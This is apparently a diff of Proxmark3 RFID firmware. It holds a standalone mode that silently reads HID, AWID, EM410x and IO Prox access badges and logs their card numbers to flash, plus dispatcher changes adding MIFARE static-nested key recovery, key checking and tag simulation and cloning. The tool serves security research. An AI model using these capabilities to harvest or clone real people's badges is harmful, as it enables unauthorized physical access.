sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo);
} else {
uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16);
if (fmtLen > 32) {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32);
uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx%08lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo);
} else {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo);
}
}
append(entry, strlen((char*)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceIOdemod() {
int dummyIdx = 0;
uint8_t version = 0, facilitycode = 0;
uint16_t number = 0;
uint32_t hi = 0, lo = 0;
size_t size = MIN(12000, BigBuf_max_traceLen());
// uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
//fskdemod and get start index
int idx = detectIOProx(dest, &size, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
hi = bytebits_to_byte(dest + idx, 32);
lo = bytebits_to_byte(dest + idx + 32, 32);
version = bytebits_to_byte(dest + idx + 27, 8); //14,4
facilitycode = bytebits_to_byte(dest + idx + 18, 8);
number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9
uint8_t entry[64];
memset(entry, 0, sizeof(entry));
sprintf((char *)entry, "IO Prox XSF(%02d)%02x:%05d (%08lx%08lx)\n"
, version
, facilitycode
, number
, hi
, lo
);
append(entry, strlen((char*)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceHIDDemod() {
int dummyIdx = 0;
uint32_t hi2 = 0, hi = 0, lo = 0;
// large enough to catch 2 sequences of largest format
size_t size = 50 * 128 * 2; // 12800 bytes
//uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
// FSK demodulator
int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
if ((size == 96 || size == 192)) {
uint8_t entry[80];
memset(entry, 0, sizeof(entry));
// go over previously decoded manchester data and decode into usable tag ID
if (hi2 != 0) { //extra large HID tags 88/192 bits
sprintf((char *)entry, "HID large: %lx%08lx%08lx (%ld)\n",
hi2,
hi,
lo,
(lo >> 1) & 0xFFFF
);
append(entry, strlen((char*)entry));
} else { //standard HID tags 44/96 bits
uint8_t bitlen = 0;
uint32_t fac = 0;
uint32_t cardnum = 0;
if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used
uint32_t lo2 = 0;
lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit
uint8_t idx3 = 1;
while (lo2 > 1) { //find last bit set to 1 (format len bit)
lo2 >>= 1;
idx3++;
}
bitlen = idx3 + 19;
fac = 0;
cardnum = 0;
if (bitlen == 26) {
cardnum = (lo >> 1) & 0xFFFF;
fac = (lo >> 17) & 0xFF;
}
if (bitlen == 37) {
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
if (bitlen == 34) {
cardnum = (lo >> 1) & 0xFFFF;
fac = ((hi & 1) << 15) | (lo >> 17);
}
if (bitlen == 35) {
cardnum = (lo >> 1) & 0xFFFFF;
fac = ((hi & 1) << 11) | (lo >> 21);
}
} else { //if bit 38 is not set then 37 bit format is used
bitlen = 37;
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
sprintf((char *)entry, "HID: %lx%08lx (%ld) Format: %d bit FC: %ld Card: %ld\n",
hi,
lo,
(lo >> 1) & 0xFFFF,
bitlen,
fac,
cardnum
);
append(entry, strlen((char*)entry));
}
Dbprintf("%s", entry);
}
BigBuf_free();
return PM3_SUCCESS;
}
void ModInfo(void) {
DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)");
}
void RunMod() {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
LFSetupFPGAForADC(LF_DIVISOR_125, true);
BigBuf_Clear();
StandAloneMode();
Dbprintf(_YELLOW_("[=] Standalone mode IceHID started"));
rdv40_spiffs_lazy_mount();
log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE);
// the main loop for your standalone mode
for (;;) {
WDT_HIT();
// exit from IceHID, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(280);
if (button_pressed == BUTTON_HOLD)
break;
LED_A_ON();
uint32_t res;
// since we steal 12800 from bigbuffer, no need to sample it.
DoAcquisition_config(false, 28000);
res = IceHIDDemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceAWIDdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 20000);
res = IceEM410xdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceIOdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
}
LED_C_ON();
rdv40_spiffs_lazy_unmount();
LED_C_OFF();
LEDsoff();
DownloadLogInstructions();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
}

View file

@ -17,6 +17,7 @@
#include "dbprint.h" #include "dbprint.h"
#include "pmflash.h" #include "pmflash.h"
#include "fpga.h" #include "fpga.h"
#include "fpga.h"
#include "fpgaloader.h" #include "fpgaloader.h"
#include "string.h" #include "string.h"
#include "legicrf.h" #include "legicrf.h"
@ -175,7 +176,7 @@ void MeasureAntennaTuning(void) {
*/ */
FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD);
SpinDelay(50); SpinDelay(50);
for (uint8_t i = 255; i >= 19; i--) { for (uint8_t i = 255; i >= 19; i--) {
@ -207,12 +208,11 @@ void MeasureAntennaTuning(void) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR);
SpinDelay(50); SpinDelay(50);
#if defined RDV4
payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
#else
payload.v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; payload.v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
#endif
// RDV40 will hit the roof, try other ADC channel used in that hardware revision.
if (payload.v_hf > MAX_ADC_HF_VOLTAGE - 300) {
payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
reply_ng(CMD_MEASURE_ANTENNA_TUNING, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); reply_ng(CMD_MEASURE_ANTENNA_TUNING, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload));
@ -221,16 +221,13 @@ void MeasureAntennaTuning(void) {
// Measure HF in milliVolt // Measure HF in milliVolt
uint16_t MeasureAntennaTuningHfData(void) { uint16_t MeasureAntennaTuningHfData(void) {
uint16_t volt = 0;
uint16_t avg = AvgAdc(ADC_CHAN_HF);
volt = (MAX_ADC_HF_VOLTAGE * avg) >> 10;
bool use_high = (volt > MAX_ADC_HF_VOLTAGE - 300);
if (use_high) { #if defined RDV4
volt = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; return (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
// volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; #else
} return (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
return volt; #endif
} }
// Measure LF in milliVolt // Measure LF in milliVolt
@ -440,6 +437,11 @@ void SendCapabilities(void) {
#else #else
capabilities.compiled_with_hfsniff = false; capabilities.compiled_with_hfsniff = false;
#endif #endif
#ifdef WITH_HFPLOT
capabilities.compiled_with_hfplot = true;
#else
capabilities.compiled_with_hfplot = false;
#endif
#ifdef WITH_ISO14443a #ifdef WITH_ISO14443a
capabilities.compiled_with_iso14443a = true; capabilities.compiled_with_iso14443a = true;
#else #else
@ -526,7 +528,6 @@ void ListenReaderField(uint8_t limit) {
uint16_t lf_av = 0, lf_av_new, lf_baseline = 0, lf_max = 0; uint16_t lf_av = 0, lf_av_new, lf_baseline = 0, lf_max = 0;
uint16_t hf_av = 0, hf_av_new, hf_baseline = 0, hf_max = 0; uint16_t hf_av = 0, hf_av_new, hf_baseline = 0, hf_max = 0;
uint16_t mode = 1, display_val, display_max; uint16_t mode = 1, display_val, display_max;
bool use_high = false;
// switch off FPGA - we don't want to measure our own signal // switch off FPGA - we don't want to measure our own signal
// 20180315 - iceman, why load this before and then turn off? // 20180315 - iceman, why load this before and then turn off?
@ -543,15 +544,12 @@ void ListenReaderField(uint8_t limit) {
if (limit == HF_ONLY) { if (limit == HF_ONLY) {
hf_av = hf_max = AvgAdc(ADC_CHAN_HF); #if defined RDV4
// iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader. // iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader.
// RDV40 will hit the roof, try other ADC channel used in that hardware revision. hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40);
use_high = (((MAX_ADC_HF_VOLTAGE * hf_max) >> 10) > MAX_ADC_HF_VOLTAGE - 300); #else
if (use_high) { hf_av = hf_max = AvgAdc(ADC_CHAN_HF);
hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); #endif
}
Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10); Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10);
hf_baseline = hf_av; hf_baseline = hf_av;
} }
@ -602,8 +600,11 @@ void ListenReaderField(uint8_t limit) {
LED_B_OFF(); LED_B_OFF();
} }
hf_av_new = (use_high) ? AvgAdc(ADC_CHAN_HF_RDV40) : AvgAdc(ADC_CHAN_HF); #if defined RDV4
hf_av_new = AvgAdc(ADC_CHAN_HF_RDV40);
#else
hf_av_new = AvgAdc(ADC_CHAN_HF);
#endif
// see if there's a significant change // see if there's a significant change
if (ABS(hf_av - hf_av_new) > REPORT_CHANGE) { if (ABS(hf_av - hf_av_new) > REPORT_CHANGE) {
Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10); Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10);
@ -696,6 +697,8 @@ static void PacketReceived(PacketCommandNG *packet) {
*/ */
switch (packet->cmd) { switch (packet->cmd) {
case CMD_BREAK_LOOP:
break;
case CMD_QUIT_SESSION: { case CMD_QUIT_SESSION: {
reply_via_fpc = false; reply_via_fpc = false;
reply_via_usb = false; reply_via_usb = false;
@ -728,11 +731,11 @@ static void PacketReceived(PacketCommandNG *packet) {
} }
case CMD_LF_ACQ_RAW_ADC: { case CMD_LF_ACQ_RAW_ADC: {
struct p { struct p {
uint8_t silent; uint8_t verbose;
uint32_t samples; uint32_t samples;
} PACKED; } PACKED;
struct p *payload = (struct p *)packet->data.asBytes; struct p *payload = (struct p *)packet->data.asBytes;
uint32_t bits = SampleLF(payload->silent, payload->samples); uint32_t bits = SampleLF(payload->verbose, payload->samples);
reply_ng(CMD_LF_ACQ_RAW_ADC, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits)); reply_ng(CMD_LF_ACQ_RAW_ADC, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits));
break; break;
} }
@ -773,7 +776,12 @@ static void PacketReceived(PacketCommandNG *packet) {
} }
case CMD_LF_PSK_SIMULATE: { case CMD_LF_PSK_SIMULATE: {
lf_psksim_t *payload = (lf_psksim_t *)packet->data.asBytes; lf_psksim_t *payload = (lf_psksim_t *)packet->data.asBytes;
CmdPSKsimTag(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); CmdPSKsimTAG(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true);
break;
}
case CMD_LF_NRZ_SIMULATE: {
lf_nrzsim_t *payload = (lf_nrzsim_t *)packet->data.asBytes;
CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_nrzsim_t), payload->data, true);
break; break;
} }
case CMD_LF_HID_CLONE: { case CMD_LF_HID_CLONE: {
@ -917,11 +925,12 @@ static void PacketReceived(PacketCommandNG *packet) {
#ifdef WITH_HITAG #ifdef WITH_HITAG
case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type
SniffHitag(); SniffHitag2();
// SniffHitag2(packet->oldarg[0]);
break; break;
} }
case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content
SimulateHitagTag((bool)packet->oldarg[0], packet->data.asBytes); SimulateHitag2((bool)packet->oldarg[0], packet->data.asBytes);
break; break;
} }
case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function
@ -1142,6 +1151,18 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key); MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key);
break; break;
} }
case CMD_HF_MIFARE_STATIC_NESTED: {
struct p {
uint8_t block;
uint8_t keytype;
uint8_t target_block;
uint8_t target_keytype;
uint8_t key[6];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key);
break;
}
case CMD_HF_MIFARE_CHKKEYS: { case CMD_HF_MIFARE_CHKKEYS: {
MifareChkKeys(packet->data.asBytes); MifareChkKeys(packet->data.asBytes);
break; break;
@ -1150,6 +1171,14 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareChkKeys_fast(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); MifareChkKeys_fast(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes);
break; break;
} }
case CMD_HF_MIFARE_CHKKEYS_FILE: {
struct p {
uint8_t filename[32];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareChkKeys_file(payload->filename);
break;
}
case CMD_HF_MIFARE_SIMULATE: { case CMD_HF_MIFARE_SIMULATE: {
struct p { struct p {
uint16_t flags; uint16_t flags;
@ -1249,6 +1278,10 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareU_Otp_Tearoff(); MifareU_Otp_Tearoff();
break; break;
} }
case CMD_HF_MIFARE_STATIC_NONCE: {
MifareHasStaticNonce();
break;
}
#endif #endif
#ifdef WITH_NFCBARCODE #ifdef WITH_NFCBARCODE
@ -1347,6 +1380,13 @@ static void PacketReceived(PacketCommandNG *packet) {
} }
#endif #endif
#ifdef WITH_HFPLOT
case CMD_FPGAMEM_DOWNLOAD: {
HfPlotDownload();
break;
}
#endif
#ifdef WITH_SMARTCARD #ifdef WITH_SMARTCARD
case CMD_SMART_ATR: { case CMD_SMART_ATR: {
SmartCardAtr(); SmartCardAtr();
@ -1512,7 +1552,7 @@ static void PacketReceived(PacketCommandNG *packet) {
case 1: // MEASURE_ANTENNA_TUNING_LF_START case 1: // MEASURE_ANTENNA_TUNING_LF_START
// Let the FPGA drive the low-frequency antenna around 125kHz // Let the FPGA drive the low-frequency antenna around 125kHz
FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD);
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[1]); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[1]);
reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0); reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0);
break; break;
@ -1592,6 +1632,8 @@ static void PacketReceived(PacketCommandNG *packet) {
BigBuf_Clear_ext(false); BigBuf_Clear_ext(false);
BigBuf_free(); BigBuf_free();
} }
// 40 000 - (512-3) 509 = 39491
uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset); uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset);
// need to copy len bytes of data, not PM3_CMD_DATA_SIZE - 3 - offset // need to copy len bytes of data, not PM3_CMD_DATA_SIZE - 3 - offset
@ -1599,6 +1641,8 @@ static void PacketReceived(PacketCommandNG *packet) {
uint16_t len = MIN(BIGBUF_SIZE - offset, PM3_CMD_DATA_SIZE - 3); uint16_t len = MIN(BIGBUF_SIZE - offset, PM3_CMD_DATA_SIZE - 3);
uint8_t *mem = BigBuf_get_addr(); uint8_t *mem = BigBuf_get_addr();
// x + 394
memcpy(mem + offset, &payload->data, len); memcpy(mem + offset, &payload->data, len);
// memcpy(mem + offset, &payload->data, PM3_CMD_DATA_SIZE - 3 - offset); // memcpy(mem + offset, &payload->data, PM3_CMD_DATA_SIZE - 3 - offset);
reply_ng(CMD_LF_UPLOAD_SIM_SAMPLES, PM3_SUCCESS, NULL, 0); reply_ng(CMD_LF_UPLOAD_SIM_SAMPLES, PM3_SUCCESS, NULL, 0);
@ -1622,7 +1666,7 @@ static void PacketReceived(PacketCommandNG *packet) {
Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result);
} }
// Trigger a finish downloading signal with an ACK frame // Trigger a finish downloading signal with an ACK frame
reply_old(CMD_ACK, 1, 0, 0, 0, 0); reply_mix(CMD_ACK, 1, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
@ -1683,7 +1727,7 @@ static void PacketReceived(PacketCommandNG *packet) {
Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result);
} }
// Trigger a finish downloading signal with an ACK frame // Trigger a finish downloading signal with an ACK frame
reply_old(CMD_ACK, 1, 0, 0, 0, 0); reply_mix(CMD_ACK, 1, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
@ -1765,7 +1809,7 @@ static void PacketReceived(PacketCommandNG *packet) {
} else { } else {
rdv40_spiffs_append((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE); rdv40_spiffs_append((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE);
} }
reply_old(CMD_ACK, 1, 0, 0, 0, 0); reply_mix(CMD_ACK, 1, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
@ -1807,7 +1851,7 @@ static void PacketReceived(PacketCommandNG *packet) {
res = Flash_Write(startidx, data, len); res = Flash_Write(startidx, data, len);
isok = (res == len) ? 1 : 0; isok = (res == len) ? 1 : 0;
reply_old(CMD_ACK, isok, 0, 0, 0, 0); reply_mix(CMD_ACK, isok, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
@ -1818,14 +1862,14 @@ static void PacketReceived(PacketCommandNG *packet) {
bool isok = false; bool isok = false;
if (initalwipe) { if (initalwipe) {
isok = Flash_WipeMemory(); isok = Flash_WipeMemory();
reply_old(CMD_ACK, isok, 0, 0, 0, 0); reply_mix(CMD_ACK, isok, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
if (page < 3) if (page < 3)
isok = Flash_WipeMemoryPage(page); isok = Flash_WipeMemoryPage(page);
reply_old(CMD_ACK, isok, 0, 0, 0, 0); reply_mix(CMD_ACK, isok, 0, 0, 0, 0);
LED_B_OFF(); LED_B_OFF();
break; break;
} }
@ -1856,7 +1900,7 @@ static void PacketReceived(PacketCommandNG *packet) {
} }
FlashStop(); FlashStop();
reply_old(CMD_ACK, 1, 0, 0, 0, 0); reply_mix(CMD_ACK, 1, 0, 0, 0, 0);
BigBuf_free(); BigBuf_free();
LED_B_OFF(); LED_B_OFF();
break; break;

View file

@ -43,10 +43,10 @@ bool reply_via_fpc = false;
bool reply_via_usb = false; bool reply_via_usb = false;
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) {
PacketResponseOLD txcmd; PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}};
for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) // for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
((uint8_t *)&txcmd)[i] = 0x00; // ((uint8_t *)&txcmd)[i] = 0x00;
// Compose the outgoing command frame // Compose the outgoing command frame
txcmd.cmd = cmd; txcmd.cmd = cmd;

View file

@ -272,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) {
uint32_t des_f(uint32_t r, uint8_t *kr) { uint32_t des_f(uint32_t r, uint8_t *kr) {
uint8_t i; uint8_t i;
uint32_t t = 0, ret; uint32_t t = 0, ret;
uint64_t data; uint64_t data = 0;
uint8_t *sbp; /* sboxpointer */ uint8_t *sbp; /* sboxpointer */
permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data); permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data);
for (i = 0; i < 6; ++i) for (i = 0; i < 6; ++i)

View file

@ -26,9 +26,7 @@
#ifndef DELAY_ARM2AIR_AS_READER #ifndef DELAY_ARM2AIR_AS_READER
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209 #define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209
#endif #endif
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len))
// CRC skips two first sync bits in data buffer
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3)
static uint32_t felica_timeout; static uint32_t felica_timeout;
static uint32_t felica_nexttransfertime; static uint32_t felica_nexttransfertime;
@ -285,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 8-byte IDm, number of blocks, blocks numbers // 8-byte IDm, number of blocks, blocks numbers
// number of blocks limited to 4 for FelicaLite(S) // number of blocks limited to 4 for FelicaLite(S)
static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
if (blocknum > 4 || blocknum <= 0) if (blocknum > 4 || blocknum <= 0)
Dbprintf("Invalid number of blocks, %d != 4", blocknum); Dbprintf("Invalid number of blocks, %d != 4", blocknum);
uint8_t c = 0, i = 0; uint8_t c = 0, i = 0;
// Sync bytes
frameSpace[c++] = 0xb2; frameSpace[c++] = 0xb2;
frameSpace[c++] = 0x4d; frameSpace[c++] = 0x4d;
@ -333,11 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
//set length //set length
frameSpace[2] = c - 2; frameSpace[2] = c - 2;
AddCrc(frameSpace, c - 2); //Add CRC
AddCrc(frameSpace + 2, c - 2);
} }
static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) {
uint8_t flags = FPGA_MAJOR_MODE_ISO18092; uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092;
if (power) if (power)
flags |= FPGA_HF_ISO18092_FLAG_READER; flags |= FPGA_HF_ISO18092_FLAG_READER;
if (highspeed) if (highspeed)
@ -404,11 +403,13 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
Dbprintf("WaitForFelicaReply Start"); Dbprintf("WaitForFelicaReply Start");
uint32_t c = 0; uint32_t c = 0;
// power, no modulation // power, no modulation
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset(); FelicaFrameReset();
// clear RXRDY: // clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
(void)b;
uint32_t timeout = iso18092_get_timeout(); uint32_t timeout = iso18092_get_timeout();
for (;;) { for (;;) {
@ -469,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// Signal field is on with the appropriate LED // Signal field is on with the appropriate LED
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode);
//20.4 ms generate field, start sending polling command afterwars. //20.4 ms generate field, start sending polling command afterwars.
SpinDelay(100); SpinDelay(100);
@ -586,7 +587,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) {
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
Process18092Byte(dist); Process18092Byte(dist);
if ((MAX(dist & 0xff, dist >> 8) >= 178) && (++trigger_cnt > triggersToSkip)) { if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) {
Dbprintf("triggersToSkip kicked %d", dist); Dbprintf("triggersToSkip kicked %d", dist);
break; break;
} }
@ -718,7 +719,7 @@ void felica_sim_lite(uint64_t uid) {
TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0); TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0);
//switch back //switch back
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset(); FelicaFrameReset();
listenmode = true; listenmode = true;
@ -751,28 +752,26 @@ void felica_dump_lite_s() {
uint8_t *dest = BigBuf_get_addr(); uint8_t *dest = BigBuf_get_addr();
while (!BUTTON_PRESS() && !data_available()) { while (!BUTTON_PRESS() && !data_available()) {
WDT_HIT(); WDT_HIT();
// polling? // polling?
//TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0); //TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(poll, 10, NULL, 1, 0); TransmitFor18092_AsReader(poll, 10, NULL, 1, 0);
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) { if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) {
// copy 8bytes to ndef. // copy 8bytes to ndef.
memcpy(ndef, FelicaFrame.framebytes + 4, 8); memcpy(ndef, FelicaFrame.framebytes + 4, 8);
// for (c=0; c < 8; c++) // for (c=0; c < 8; c++)
// ndef[c] = FelicaFrame.framebytes[c+4]; // ndef[c] = FelicaFrame.framebytes[c+4];
for (blknum = 0; blknum < ARRAYLEN(liteblks);) { for (blknum = 0; blknum < ARRAYLEN(liteblks);) {
// block to read. // block to read.
BuildFliteRdblk(ndef, 1, &liteblks[blknum]); BuildFliteRdblk(ndef, 1, &liteblks[blknum]);
